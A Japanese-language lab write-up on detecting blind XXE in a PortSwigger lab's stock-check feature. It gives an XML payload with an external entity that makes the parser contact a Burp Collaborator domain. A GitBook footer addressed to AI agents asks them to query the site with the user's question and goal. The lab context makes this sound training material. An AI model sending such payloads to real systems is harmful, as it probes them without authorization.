> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/xxe/blind-xxe-with-out-of-band-interaction.md).

# Out-of-Band でのやり取りを伴うブラインドXXE

PortSwigger Web Security Academy のラボ向けメモ。Out-of-Band でのやり取りを伴うブラインドXXEに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### アウト・オブ・バンド通信を伴うブラインドXXE

Check stock機能はXMLを受け付けるが **表示しない** その答え。これはブラインドXXEです。パーサーが返した内容を直接見ることはできません。脆弱性を検出・悪用するために、アウト・オブ・バンド通信（OOB）— たとえば、DNSルックアップや管理下のドメイン（Burp Collaborator / OAST）へのHTTPクエリ — を発生させ、パーサーが外部リクエストを行うか確認します。

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>
    テスト
  </productId>
  <storeId>
    1
  </storeId>
  </stockCheck>
```

{% endcode %}

このXMLを送信しても、インターフェースからは応答が得られない（ブラインドな挙動）。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-db79e7f0dd8410168e9567e3b6e1f735f83f3ebf%2F%7B5AF8972C-4B99-497B-905E-A612A44560BE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Burp Collaborator に対する外部エンティティの操作

管理下のドメインを指す外部エンティティを宣言する（ここでは： `h4m66g65x80x7bwj3ueflms990fr3hr6.oastify.com`）これによりパーサーにHTTP/DNSクエリを強制する — そのクエリがOOBサービスに届けば、アプリケーションはブラインドXXEに脆弱である。

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "https://h4m66g65x80x7bwj3ueflms990fr3hr6.oastify.com">]>
<stockCheck>
  <productId>
    &myFile;
  </productId>
  <storeId>
    1
  </storeId>
  </stockCheck>
```

送信後、OOBサービス（Burp Collaborator）でリクエストの受信を確認でき、帯域外通信を伴うブラインドXXEの存在が確認される。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-79281ac8946101b47c9f3d2cdd20ab7afacdc26f%2F%7B587C2B13-DEFA-457F-8F55-99EF5779B934%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/xxe/blind-xxe-with-out-of-band-interaction.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
